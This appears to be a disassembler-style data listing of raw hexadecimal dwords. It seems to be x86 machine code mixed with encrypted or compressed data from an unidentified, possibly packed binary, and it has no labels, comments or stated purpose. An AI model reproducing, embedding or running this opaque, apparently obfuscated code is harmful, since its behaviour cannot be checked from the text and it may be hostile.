0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 7A85C700h dd 107E348h, 50000000h, 244C010Fh, 7E858FFEh, 8D07E348h dd 0E3487685h, 7EBD8D07h, 8907E348h, 23E938h, 858D0000h dd 7E014DDh, 538408Bh, 9B46F317h, 48768589h, 858D07E3h dd 7E014DDh, 893C408Bh, 0E3487A85h, 93858D07h, 8907E348h dd 0E01A0585h, 87E907h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 6858D00h, 8907E34Bh, 0E0254585h, 2E858D07h, 8907E34Bh dd 0E0300185h, 56858D07h, 8907E34Bh, 0E02E5D85h, 8EB07h dd 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0E016B185h dd 3F858D07h, 8B07E39Ah, 888B08h, 8B000010h, 4A8B660Ah dd 0B78D89FCh, 8307E34Bh, 0E00569BDh, 840F0007h, 0Fh, 0FF006A60h dd 0E018A995h, 0C4E96107h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 7E34BB3h, 4BB7B58Bh, 0CEC107E3h dd 72896610h, 0B7B58B02h, 6607E34Bh, 61FC7289h, 4BB3858Bh dd 8DC307E3h, 0E026F995h, 9958907h, 8907E01Eh, 0E0203995h dd 3985FF07h, 0C607E020h, 0E0075985h, 0D8685307h, 0FFFCB148h dd 0E02F01B5h, 0F8858D07h, 0FF07E039h, 0A98589D0h, 8D07E018h dd 0E348AD85h, 0E1858907h, 0E907E007h, 51h, 24748B60h dd 3C760324h, 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh dd 840F00F9h, 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh dd 0C12B144Ah, 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h dd 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5C0E9h dd 5B4E900h, 0DB680000h, 0E907E34Dh, 0FFFD33EBh, 0E34F1668h dd 33E1E907h, 9368FFFDh, 0E907E34Fh, 0FFFD33D7h, 0E3505168h dd 33CDE907h, 5968FFFDh, 0E907E351h, 0FFFD33C3h, 87A15B43h dd 0FC16CEB5h, 738D452Ah, 0E600B8A1h, 5E783214h, 896BA009h dd 0FFE3B5CFh, 76592B45h, 0ECD2A4BEh, 4D381832h, 0D753872Ah dd 0E37DEF21h, 0BAA0CBE2h, 0AE916B29h, 0A9540CEFh, 17FBADA4h dd 5B61585Dh, 0BAA09918h, 0A0EFC129h, 446929BAh, 0E29BAA1h dd 29BAA0A0h, 1BD3BC96h, 0A0DBD215h, 0BA66A9BAh, 2EECF024h dd 0D37E9A0Bh, 18517DBCh, 9F8922D3h, 0DFD2F50Ch, 97A9BA4Ch dd 9FFB3E44h, 99AE5A5Ah, 9EA35D3Fh, 0BE5FCA7h, 1A597028h dd 0DA46BAF7h, 980797A1h, 838E3C3Fh, 0F15359ACh, 0F5183C1Fh dd 0A1D9BEBCh, 0BFC46FC2h, 637AB967h, 79AD3640h, 24FD50A6h dd 6634BE18h, 2596C4ADh, 6000004h, 784A641Eh, 0EDBFD991h dd 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h, 8C2A678h dd 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D753C4h, 2BAE48BAh dd 3F868B45h, 29BAA16Fh, 0BF0966D7h, 78B6C6D9h, 0D2FB64B0h dd 0B6BA4E2Fh, 1BC66EC3h, 23492F01h, 0B9BAB100h, 637ACD29h dd 0B9BB7140h, 0FBA0D29h, 65260C0Ah, 171CC781h, 767B3519h dd 0D2D78F78h, 0BB654C6Fh, 0BE1129B9h, 0B20459A2h, 150C11C9h dd 0A8054E6Ah, 80381FF9h, 847E847Bh, 0ECCAE49Eh, 54340CBEh dd 356D9h, 452B2300h, 0B19A748Bh, 13F6F4F9h, 5DAAB05Bh dd 0BAA09816h, 0C419CE29h, 0E798C72h, 0B5A520B3h, 0DB937A2Ch dd 5D441630h, 3002A1A5h, 8839013Ch, 0F7BADDC8h, 7F29B9F7h dd 4629272Ch, 0BCA2748Eh, 7DA5FD02h, 0ECD2A4BEh, 8BCA2D32h dd 0B9F84968h, 0DCE23529h, 2D44FEE2h, 0B0B56F53h, 1A51B3B9h dd 0A28B88EEh, 4B938269h, 14C8CCD8h, 62A5ABAFh, 29B9BF4Bh dd 9BB26C50h, 0EDCED16Fh, 5992E798h, 0A75C635Dh, 6DBAC06Bh dd 40250B15h, 0A3C6DD88h, 2E5A8B9Fh, 0E7EDC619h, 80EE140Eh dd 2EA6997h, 59410000h, 0CCB3859Fh, 4328FA14h, 0B69F718Bh dd 3012E4FEh, 0DE075C76h, 0B3CD8769h, 2943FDE1h, 0A2BC7457h dd 1630EAD0h, 89284B36h, 0F521D751h, 452BE983h, 0B79A748Bh dd 49ACF9FFh, 0CFD48C6Fh, 0F2D8D2D8h, 51353338h, 0A0A9082Bh dd 82D529BAh, 8530EAD0h, 0A11D506Bh, 783529BAh, 2329BAB0h dd 3980853Fh, 29BA9074h, 0CDE443CDh, 5AAC58AAh, 0B28BDE2Eh dd 0EE13FE32h, 6D38664Fh, 0BE000002h, 30021CD6h, 0A5779149h dd 1CEE08C0h, 8F617B33h, 84D9F3ADh, 4A04E65Bh, 0C07A5E30h dd 39F1D4A6h, 0AD674D1Fh, 0A5C8B393h, 21D7520Ch, 2B660072h dd 62D73245h, 49695E59h, 0B59B999Eh, 5B8EF6FBh, 8EB8F91Ch dd 0FCE329BAh, 141A6D44h, 12F8429Fh, 22603E58h, 4D5434F8h dd 1DBh, 0A0CBE297h, 916B29BAh, 0F9F0F5AFh, 0F216F9F3h dd 757A3418h, 0A12E837Eh, 0F54829BAh, 7B5E304Ah, 0EDD2ACC3h dd 33393035h, 4D05E8E6h, 3A97E048h, 3E550DF0h, 12C47E64h dd 0B6D732Bh, 34EAF12Dh, 4B1A54h, 0D1640000h, 0B6D9F04Fh dd 2E5AB134h, 0B56D50AAh, 1C7310Ah, 0EFD8EE14h, 1AFC1h dd 0DA947C00h, 4F07EEC0h, 0C67E6335h, 39F1DAACh, 0B16B4D1Fh dd 0A4994297h, 1CEE08C2h, 92647E38h, 0BDDF7AFh, 71516B25h dd 514E6386h, 0B62821D7h, 0F321D1Ch, 29BAA0AAh, 624B25E4h dd 0A102AFAAh, 297C29BAh, 0B9E69125h, 0DD88131Fh, 5109ECC6h dd 1D00FE4Bh, 93794B65h, 3136F0D2h, 328A8F3Ah, 0FA314BE8h dd 797F3720h, 0CDE49C7Fh, 842F5AA1h, 0D1B6EB7Ah, 34576E19h dd 29BA517Dh, 3EA0A6F9h, 0C7CC866Ch, 112BE5C9h, 8E234631h dd 0E829BA51h, 0AD929095h, 65AFDBF5h, 2383AFC6h, 7D161B69h dd 504E9BA1h, 7E99B36Bh, 29B9DE2Fh, 1A310E12h, 59E13BF7h dd 0DBF2452Eh, 48621A01h, 0D2D78F76h, 6F56306Fh, 0C0BBB2B7h dd 21D9DAF1h, 3A343A8Dh, 0AE889F57h, 0D0B10CAh, 0BDC36E26h dd 0D48E7270h, 34ECD1CFh, 0EA49D72Fh, 0EA12B0D3h, 328C2679h dd 0A9082B4Fh, 0D529B9C9h, 0DBD2D782h, 0C8F35730h, 1F08E634h dd 0A7F1h, 0E29C8400h, 570FF6C8h, 0CE866B3Dh, 41F9E2B4h dd 0B9735527h, 0AC614A9Fh, 24F610CAh, 9A6C8640h, 13E5FFB7h dd 7959732Dh, 50466B8Eh, 0BE3021D7h, 8B452B24h, 0E8A28886h dd 0DD327BE3h, 0D1EBA58Bh, 34EAB7F3h, 29E054h, 0E22A0000h dd 29BAA0CCh, 5D6E9CFh, 0F0A891E9h, 0BDCE5AECh, 3CF6F812h dd 4F000000h, 0FDC4ED10h, 0FCDF29B9h, 71483F44h, 0E2F6181Eh dd 29BAA0CBh, 6B522C6Bh, 0BCB7AEB3h, 29BAA0F5h, 2E282E81h dd 9D778E48h, 2F9FEB6h, 0AEB46E50h, 4DE9154Ch, 4975D86h dd 2EF01218h, 24CBDh, 45030000h, 8489432Bh, 0E1E6A086h dd 434800E3h, 0A2A76145h, 308C2A4h, 64692305h, 0C0C57D66h dd 2025DDC2h, 7E833B22h, 1FC8686Dh, 0C890000h, 63886824h dd 0C890000h, 3B206824h, 1C890000h, 18B85024h, 8907E34Dh dd 24048BC1h, 8304C483h, 248904ECh, 24048324h, 53515B04h dd 1C2307BBh, 245C295Fh, 438F5B04h, 8438108h, 5F1C2307h dd 52241C8Bh, 0C281E289h, 4, 8704C283h, 0FF5C2414h, 81592434h dd 4C4h, 2E4DE900h, 0BC9CFFFDh, 5662A25Eh, 0FCCA38BBh dd 25B86DD7h, 307E352h, 0EBD18BC5h, 20h, 7 dup(0) dd 56AE900h, 5EE90000h, 68000005h, 7E3544Dh, 0FD2E02E9h dd 54EE68FFh, 0F8E907E3h, 68FFFD2Dh, 7E356CDh, 0FD2DEEE9h dd 573668FFh, 0E4E907E3h, 22FFFD2Dh, 9466803Ah, 9DBF5ADh dd 80526C24h, 0F3C5DF97h, 0E83D5711h, 0AE684AFFh, 24DEC294h dd 9D55380Ah, 11CBB183h, 92C17F7h, 21D74EA8h, 46855CCEh dd 0D74E8E23h, 8F95E821h, 8E462B6Dh, 0A16B4289h, 71D2A9BAh dd 0ED80BE1Ch, 31ABD434h, 0B8000000h, 925B5679h, 0D023A9BAh dd 0ECC6A8CAh, 3464C06h, 29BAA0ABh, 0C0A48898h, 5F0A0106h dd 0F2C92548h, 15EF2E59h, 4F6E742Ch, 1BE0E2FCh, 76000000h dd 0BAA0CBE2h, 8DAA7629h, 7A5D3776h, 7579BCC2h, 32E59F3h dd 630EC6A9h, 462B4F49h, 0FA26898Eh, 9C15AE2Bh, 0B6F9FFD5h dd 5644C216h, 0BC6BC87Dh, 6BEA37Dh, 0BB3DA60Bh, 777DD0A9h dd 0F7D9987Dh, 0AE03263Dh, 0C8A9BB3Dh, 87B3CA75h, 1FFC1ED2h dd 22848A44h, 0FA112EF6h, 0BB13D6D7h, 6146A0A9h, 0A8E7FEA9h dd 0BB142C85h, 0F9FF52A9h, 0EC8AEACh, 0C48ECBF7h, 832BFCA0h dd 21EF1B7Dh, 36C8EB02h, 40AE5AE1h, 65D15B94h, 0A44FCE4Ch dd 8A55589Fh, 87E8B19Bh, 0F196D42Ah, 75C12C2Bh, 0B000000h dd 0D9F04FD1h, 79385B9Ah, 529BAA0h, 8469ACB2h, 0F22E59EAh dd 0F8FDB598h, 653F5601h, 0D4AEC57Fh, 3D3439F1h, 1D03D537h dd 4A638A63h, 13FCEE17h, 32EE5h, 0D6907800h, 4B03EABCh dd 0C27A5F31h, 35EDD6A8h, 0AD67491Bh, 0A0953E93h, 18EA04BEh dd 8E607A34h, 7D9F3ABh, 6D4D6721h, 4D525F82h, 0BA2C21D7h dd 109AC620h, 0CFE43ACAh, 0F07FA9AFh, 15000002h, 898E462Bh dd 0BAA16B42h, 0A146E729h, 0A40C29BAh, 0AE29BAA0h, 29BAA0FFh dd 0BAA15A53h, 2002DC29h, 646A6166h, 0BAA08C21h, 0E9D0AAE9h dd 1E352C31h, 0BAA0B6FBh, 676DC069h, 172E0D13h, 585ECEF4h dd 0DEF5486Eh, 62671F04h, 0C018656Bh, 99BCD350h, 667790DDh dd 0CEEFC81Bh, 6BA636CFh, 28D5482h, 31190000h, 0A48B5D77h dd 1B00D2ECh, 8E774963h, 8EABCD6h, 0F6DF344Eh, 8BA55F41h dd 11BD5B9h, 7A944C2Fh, 0EE08C2A8h, 0B100230Eh, 0CD21D74Ch dd 9AC6C15Bh, 2C5C5432h, 9B959B11h, 93F6FBB5h, 191ED6B9h dd 58C81C22h, 71A1C4DBh, 0C72E5994h, 97315D74h, 3CDB9799h dd 6BF4BDE0h, 378A21D7h, 5224868Ch, 0DC5AE6Dh, 7A5F1108h dd 2BFD17C2h, 31898E46h, 163950EFh, 2676BE04h, 0F20D277Ah dd 29BA39BBh, 0AD969A86h, 4EF9F0F5h, 0C0785D37h, 0DE385BBAh dd 582E598Bh, 0D5AFEE05h, 783934ECh, 0FE21D76Bh, 0D556AB52h dd 0F49FFA3Ch, 35F7BADDh, 2C7F21D7h, 7EDC726h, 0A2A75F46h dd 0FE900ABh, 96B712Bh, 92975137h, 0D736524Bh, 221EF21h dd 4A6DACEBh, 21D73667h, 73B6BC0Fh, 26768897h, 4D273E91h dd 13FCAE66h, 595F565Bh, 0FAE1BBFAh, 2F463D42h, 0BA67A50Ch dd 787ED129h, 8185987Eh, 86A9A9C4h, 9C5638EAh, 0DBF5A097h dd 64692309h, 8B452701h, 383DF7D9h, 0A5F83B41h, 7C29BA52h dd 5D809794h, 2E59A5BDh, 0C0F11453h, 0B621D784h, 84DDD4F7h dd 469921D7h, 2376959Bh, 924C320Ch, 6C0A678h, 0C867A901h dd 0D7608EB1h, 7C562676h, 39F1D493h, 8D923D34h, 1E719096h dd 52DBD219h, 16229BAh, 0A4104EACh, 133B5434h, 85000000h dd 0BABBCBE2h, 0A8916B29h, 0EEF4EBF0h, 18C4h, 9AC65A00h dd 928C8F6h, 0A011348Fh, 0D629B9CDh, 8FD2D883h, 29B9E81Eh dd 0F04FD155h, 0D7C09AD9h, 0DE4D64C6h, 1EC9BFC6h, 60CDE407h dd 56A929BAh, 0B3050D50h, 217B2E59h, 0BA70283Bh, 651ED29Eh dd 0B20A0FBAh, 97BAD16Eh, 2676D86Fh, 32EACFA9h, 1130362Dh dd 0F8DAE5BEh, 826BE637h, 0AE54h, 5610F800h, 0CB836A3Ch dd 42FADFB1h, 0B56D5628h, 2DE7C99Bh, 2015BE13h, 986A843Eh dd 0EE0FAB4h, 8759732Bh, 0EDCDE7A1h, 4AD2DF02h, 3AAC21D7h dd 0F04FD1A0h, 0F35CB6D9h, 88E22E59h, 0EBE2E79Fh, 0FED83B40h dd 4585E18h, 2E081F1Ch, 968D924Ch, 0F80E3190h, 2E26774Dh dd 0B1B76F54h, 61663F92h, 0F6E63753h, 45DF0Dh, 79610000h dd 0ECD3A5BFh, 63481A34h, 0D6BF91ABh, 5032041Eh, 0BE277C96h dd 0D3EDA789h, 49631D01h, 0C2DC9477h, 36500AF0h, 69486B56h dd 1521D74Ah, 0ECC609A3h, 0AA644807h, 13FCFAFFh, 80AAB05Bh dd 3, 2B662416h, 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h dd 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh dd 4EC81h, 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0C268242Ch dd 89000029h, 3B682404h, 89000076h, 0F7BE2434h, 8907E352h dd 0F2685EF5h, 89000003h, 4832424h, 55580424h, 33F8BF57h dd 7C293ED8h, 8F5F0424h, 40810840h, 0D833F808h, 2434FF3Eh dd 4C48358h, 51242C8Bh, 0C181E189h, 4, 4C181h, 0C870000h dd 0B0E95C24h, 66FFFD28h, 57A0B817h, 0C50307E3h, 68E9C88Bh dd 0C000001h, 0E7067296h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh dd 36365D54h, 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h dd 50C1AEC4h, 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh dd 75D6A336h, 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h dd 9792A7ABh, 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h dd 94B6E592h, 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh dd 9389F55Ch, 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h dd 0B0F3622Dh, 38AE29h, 3C0000h, 400000h, 2 dup(0) dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 2Bh dup(0) dd 0E9000000h, 1FD4h, 0E35BF968h, 2729E907h, 0D368FFFDh dd 0E907E35Ch, 0FFFD271Fh, 0E35DA868h, 2715E907h, 4A68FFFDh dd 0E907E35Eh, 0FFFD270Bh, 0E35F1468h, 2701E907h, 368FFFDh dd 0E907E360h, 0FFFD26F7h, 0E360C968h, 26EDE907h, 7268FFFDh dd 0E907E361h, 0FFFD26E3h, 0E3653B68h, 26D9E907h, 0C668FFFDh dd 0E907E365h, 0FFFD26CFh, 0E3674868h, 26C5E907h, 5E68FFFDh dd 0E907E36Ah, 0FFFD26BBh, 0E36DC868h, 26B1E907h, 3268FFFDh dd 0E907E371h, 0FFFD26A7h, 0E3728A68h, 269DE907h, 0B68FFFDh dd 0E907E373h, 0FFFD2693h, 0E3738468h, 2689E907h, 0DB68FFFDh dd 0E907E373h, 0FFFD267Fh, 0E3755968h, 2675E907h, 4E68FFFDh dd 0E907E376h, 0FFFD266Bh, 0E3780A68h, 2661E907h, 0BDA5FFFDh dd 3017E903h, 0A78C5E78h, 1A03D5EFh, 94764862h, 426BC0DAh dd 1731EBCDh, 8DA76145h, 620D8BBh, 7A944E34h, 258CAF9Ah dd 5121D747h, 452B45DFh, 0A288868Bh, 7EA2CEE8h, 7787AAC1h dd 12E5AA7h, 5F0AC2A7h, 9A9A135Ah, 1F0121DAh, 79626065h dd 13C5BCC1h, 0F1C31E31h, 843A33FDh, 0EDA2D4D9h, 0F3BEE190h dd 8B21D9E2h, 327D8D38h, 0B4B97158h, 0ED42B7BDh, 0E4840A36h dd 68EF35B6h, 1C832E51h, 0A8FB21DAh, 626E9CA2h, 448953D4h dd 0D3000000h, 0D9F04FD1h, 5AA03CB6h, 6A6FC22Eh, 0DA9F8A23h dd 70281121h, 0CCE5086Bh, 0B221DA9Fh, 0EC6AD5Fh, 0C71CDD09h dd 0B60B6C7Ch, 3EBD3FFh, 43013B93h, 5F41B50Dh, 0B7BD6816h dd 0D42075B1h, 1019E53h, 2BE80000h, 88868B45h, 545D80A6h dd 2A29BAA1h, 0C4272CD7h, 0DEF607EAh, 15A9E8FCh, 99909540h dd 424800E7h, 0BBA16248h, 3B3F7295h, 0E43729BAh, 923D3439h dd 69502A8Dh, 0AFB5ACB1h, 280ECFB5h, 0C772696Eh, 3EDE92ADh dd 0B0DC29BAh, 8DA1E397h, 3D15BDA0h, 7F8A9296h, 270D070Dh dd 9B81536Dh, 9C84DCE1h, 5D65889Fh, 0E32E5A7Dh, 0C64A7690h dd 39135269h, 4F929850h, 2677F900h, 0CD0C2376h, 4F540CF3h dd 0AC4A658h, 0E080E05h, 1C5B722Ch, 0B808B8F9h, 7B64BE29h dd 1CC7BEC3h, 0E2B416h, 7E9F6D46h, 0CFB8E636h, 1CD2A1h dd 823C2400h, 0F7AF9668h, 6E260BDDh, 0E1998254h, 5913F5C7h dd 4CC1EA3Fh, 0C496B06Ah, 3A0C26E0h, 0B3859F57h, 19F913CDh dd 45A60B2Eh, 5ED021D7h, 8F492BC4h, 0DCFF3E75h, 29BAA0D5h dd 4E484EA1h, 0BD97AE68h, 261D22DAh, 0B3258922h, 6B718416h dd 12F8D209h, 0D1305258h, 9AD9F04Fh, 1A1FD7C0h, 18DA1D23h dd 5E2E5AA0h, 0F0055EB2h, 7F2A9DE7h, 0BD7A337Ah, 62C321D9h dd 973AF0Dh, 969C53D4h, 0E6000000h, 748B452Bh, 0A09F1235h dd 84D729BAh, 0F4CE317Eh, 0E9C8EB0Fh, 9529BAA0h, 97919742h dd 0AFF6FBB5h, 29BAA4C1h, 0A2BC765Ch, 2B30EAD0h, 0D7EE4DD3h dd 5A7D0EB4h, 1B35882Eh, 0EB0221EFh, 77F396C8h, 768DE026h dd 0E600BA9Ch, 9F783214h, 0E63682D7h, 0F8DD0BF4h, 0FE00001Bh dd 70425C16h, 0E5B7D189h, 5C2E4800h, 0CFA1BB73h, 0C41933EDh dd 8A44261Bh, 0BA9E70h, 793114E6h, 0EDA78D5Fh, 0E508F3D3h dd 21D744CCh, 2BA640B2h, 0A3758F49h, 12EC03BDh, 0F71772Fh dd 8B452B15h, 0E8A28886h, 0BBC784CEh, 2FE9CF55h, 1C4A6D84h dd 1A2E5AA6h, 9EA45E40h, 843C257Fh, 28DD887Fh, 54C88841h dd 0E847C98Dh, 116692D1h, 89723BF8h, 0C67AC3DCh, 0BCD0F9C2h dd 0ED3B73B6h, 0D1FD72EBh, 97F9E341h, 876E20A5h, 0CDD3CACFh dd 0F3565BAEh, 787C3419h, 800229C4h, 0B90D1366h, 68496C57h dd 0E6D2BABh, 0D6F910BBh, 71CBA1EFh, 0AC644D27h, 8BAAB0A7h dd 61472138h, 0D5BB8DA7h, 60772F14h, 4BD2743Dh, 0CB70A6Eh dd 0A2B60133h, 7BA992A1h, 1B23h, 1731EBD3h, 8CA65E45h dd 31DD5BAh, 76904831h, 0EE08C2A4h, 19FB3099h, 8F73455Fh dd 6E9BBD5h, 7C62344Eh, 0DDC8A8C2h, 0D743F7BAh, 730D7F21h dd 868B452Bh, 2E45E22Eh, 5A8E6B0Bh, 203A8D2Eh, 0F119DD6h dd 70F61930h, 0E6267A77h, 3DF7DE93h, 0EEE0BD6h, 0EB0E2502h dd 66A916C3h, 55D62B5h, 0E2051C1Bh, 6E093FE3h, 69230963h dd 2968A7BEh, 93FAB06h, 7C80D362h, 728A4154h, 0D5CFD5CAh dd 678AC9EFh, 6208F34Ah, 0CBE6E134h, 0B36208F2h, 0C99BB560h dd 245029E3h, 0B9ADE595h, 1A81A2D0h, 8D750000h, 0E7B9D3h dd 775C2E48h, 0EAD3A5BFh, 64461832h, 923B90AAh, 0E701BB9Dh dd 5D773115h, 0D6F0A88Bh, 4A641E04h, 555C7F6Ah, 2121D743h dd 452B15AFh, 4923868Bh, 961B3E62h, 0E029BAA0h, 0E6DDE28Dh dd 0A7848CE0h, 0A3D56D90h, 0F84B2E5Ah, 0EBCDA7DEh, 0AFB92B31h dd 71E1D03h, 7AA082E4h, 9AB10426h, 89A4BF6Eh, 13177CACh dd 0E43F63Bh, 969399CEh, 19D3B993h, 0D4171D14h, 0B511828Bh dd 49548A96h, 0AA624971h, 0A7AAAEA5h, 3047F2C7h, 0B284A10Dh dd 6D84D791h, 0F2F8B093h, 64C34DA5h, 719B2A4Dh, 0C81B9312h dd 37F1D7B1h, 0A613F420h, 4D783A2Dh, 2D13E547h, 6858361Ah dd 0BA654762h, 0DC72BBE1h, 3D6B5482h, 19B7h, 839D573Fh dd 0F812CAB1h, 6F894126h, 0E2FCB49Dh, 5A742E10h, 8567DC05h dd 0FBDFB1CBh, 72552741h, 0E8CEA0BAh, 4934142Eh, 0D7418B26h dd 0E781F321h, 6C1A9AC6h, 42977E44h, 0F0F6A159h, 0C7EA10F6h dd 29B9B4EAh, 1318D0B9h, 47F2451Ch, 9D26EA42h, 0B9B5377Ah dd 41EC3F29h, 0CFFB072Ah, 32852E59h, 149ECE18h, 53CCD60Ch dd 31DBEE76h, 0D306F86h, 21DA93A4h, 37482EDAh, 7CB379E2h dd 496CCBD1h, 2679E21Dh, 0C5F1085Bh, 80A3668Ch, 29B9B331h dd 4CF6FA4Dh, 0CCC9CF1Fh, 0F7BEF2E5h, 2E0D13D4h, 0ABBAF417h dd 10BC3117h, 0CEEE762h, 52564D52h, 2E457E52h, 17ADA60Bh dd 0D27DD02Fh, 8CAB75CDh, 0A5735275h, 47F333B7h, 51604AE6h dd 0C0786108h, 6E19C4BBh, 84977D57h, 0E877FA49h, 7A943F48h dd 2F08C2A8h, 0E376200Fh, 0C895C3ACh, 2E000018h, 0A0728C46h dd 15E701B9h, 8C5E7830h, 0FFD1EBA3h, 0F449631Dh, 0BA7456CBh dd 30EACEA0h, 0A9614416h, 1DD7BD8Fh, 15382303h, 21D7409Ch dd 2BD670E2h, 0E39B8445h, 373CE7DEh, 7008A8D4h, 0F4F8B298h dd 494F58C8h, 0F50C2BF5h, 757B351Bh, 8ECFF316h, 0F6492E5Ah dd 0CDD192DCh, 0A1CDE443h, 19FD6073h, 5F635A5Fh, 55073FF0h dd 55B4BA72h, 7A343432h, 0AA5FB226h, 71E02BC3h, 2B0818BAh dd 14FBD514h, 0CC6AA5Ch, 0CEBC306h, 3A8D9A92h, 0AD674923h dd 5EABB1A8h, 34161A06h, 95B8CF7Ah, 9A31EA30h, 0FD3C53A6h dd 0F209D7DAh, 9A4C9F95h, 3FAFFB7h, 0DEC49EFDh, 52380A24h dd 7DB5BF98h, 5D4679FCh, 18022Fh, 520CF400h, 0C77F6638h dd 3EF6DBADh, 0B1695224h, 29E3C597h, 1C11BA0Fh, 9466803Ah dd 0ADCF6B0h, 83556F27h, 0E9C9E39Dh, 40D6DBFEh, 2EA021D7h dd 8B452B94h, 45E22E86h, 8FBB022Eh, 4763B4A5h, 10BFE241h dd 662E595Fh, 3C22FC13h, 0D44D6882h, 5521D6DFh, 7A546BCAh dd 61507397h, 1D21D6DFh, 0E5081FCAh, 21D6DECCh, 0F7595FB2h dd 6B853F25h, 3B52D13Fh, 7636B718h, 0D5EC3F26h, 455C14FBh dd 0DA4C706h, 6929BA07h, 6961B16h, 8DE029BAh, 6C532587h dd 0DEC39DB4h, 0D5D32026h, 585C35EFh, 0EDE63481h, 1759D604h dd 0B59D0000h, 280FE1FBh, 9F845670h, 12FBCDE7h, 8C6E405Ah dd 7A63B8D2h, 0F29E3C5h, 859F593Dh, 0FE18D0B3h, 728C462Ch dd 2D84A792h, 4921D740h dd 4FD13DD7h, 454A02E9h, 0B7E08FF5h, 1EC961D6h, 96395C73h dd 242E5901h, 0AD968378h, 9EB5FCE2h, 0D76C367Bh, 42ED4021h dd 3012EC2Bh, 90767076h, 6C6A476Ah, 0C11421D7h, 99C5FC16h dd 927C6E52h, 0BB0F1553h, 0E8C2D954h, 0E5444A04h, 0D6D7DBC2h dd 43489B21h, 0D6D7B2FCh, 0D52A8B21h, 0D72F4B77h, 6E6453h dd 0D1AE0000h, 0B5D8EF4Eh, 29BAA100h, 0DDD4F736h, 9929BAA0h dd 9A9F593Fh, 0D3F2F8A3h, 153D6980h, 0B41D3D9Eh, 44B989Eh dd 29B9E4A9h, 80DE3394h, 54345A42h, 376Dh, 0CCE2B700h dd 7529BAA0h, 36758CABh, 0B8BD755Ch, 0CBFABDC1h, 0C5C4D254h dd 85E27CBFh, 21742E5Ah, 264C300Ah, 0DA85AE03h, 0CA75C821h dd 6D3D75C5h, 2ACD9905h, 1D17797Fh, 0F809ECC6h, 5C138635h dd 1B20CB11h, 46CA1E24h, 14F8D2E9h, 9C1A85Ah, 0A8070D04h dd 59D53185h, 9CC8072Eh, 0D2B8A986h, 0F7BAB5C2h, 7F21DA65h dd 0AD07262Ch, 616611CBh, 2B577D63h, 0F1CF695Fh, 0C6EBE6A8h dd 0B021D9F0h, 5C9BB25Dh, 0D9F07839h, 0A5ABFE21h, 0D18B7143h dd 32ECCECCh, 0C19BBA2Dh, 0AA1F25DFh, 631D0355h, 0FDE61249h dd 0AFD0A761h, 71575157h, 3E61A0B7h, 21DA9173h, 9109A8CBh dd 227521DAh, 0A5F2F84Bh, 4D64C34Dh, 0CED38D73h, 4F72D1D7h dd 267A954Bh, 4D07EB45h, 0D0B688A2h, 0D4AE1116h, 343237EFh dd 978E934Bh, 0EDA3E6ECh, 70518BF1h, 0CFCDD28Ch, 0C32B30E8h dd 0B3DA257Ah, 0F1D7217Eh, 654B1D37h, 0BFA8A6ABh, 2D16F007h dd 24226F75h, 817F843Eh, 0B1DDE29Ah, 0A65093F0h, 0EE11508Fh dd 0B183EDC3h, 446D68BBh, 3AB183EEh, 176CE1E7h, 0B25DFC5h dd 19C2A8D4h, 0B8B851ECh, 18D2B8B2h, 0D655BB13h, 0CC1293BFh dd 5C83B2Ch, 0B4DDEAE5h, 868C379Eh, 750A0427h, 0C06CB624h dd 5F41EC71h, 80F0A1A5h, 0ECBED883h, 49474C06h, 0A8A6AB65h dd 40207BFh, 0C27A6122h, 161BC6BDh, 8FD22FE4h, 27DE3368h dd 8F97BFFBh, 8C92860Dh, 0D8F2AC92h, 61662006h, 11280709h dd 959B5537h, 10831336h, 0EBC5AE84h, 2B4A5008h, 6ECBED8h dd 8FD8BFF3h, 39E42173h, 0CFC0ED34h, 0F9DBC183h, 0B4D73A3Fh dd 0C183CFFDh, 90742679h, 2069D1D6h, 0E59A80C3h, 9E583E88h dd 17CFB284h, 0E083AF12h, 8B0DE06h, 61433D43h, 0F13AA2A7h dd 0AF674A9Ch, 0BCE0C395h, 84A01899h, 0E69E83C1h, 0C013EAE1h dd 0D3AD1015h, 363036EEh, 0A47E954Dh, 0B30006C0h, 64B60B40h dd 0DDAFC981h, 0FF2B42FAh, 0E4711D45h, 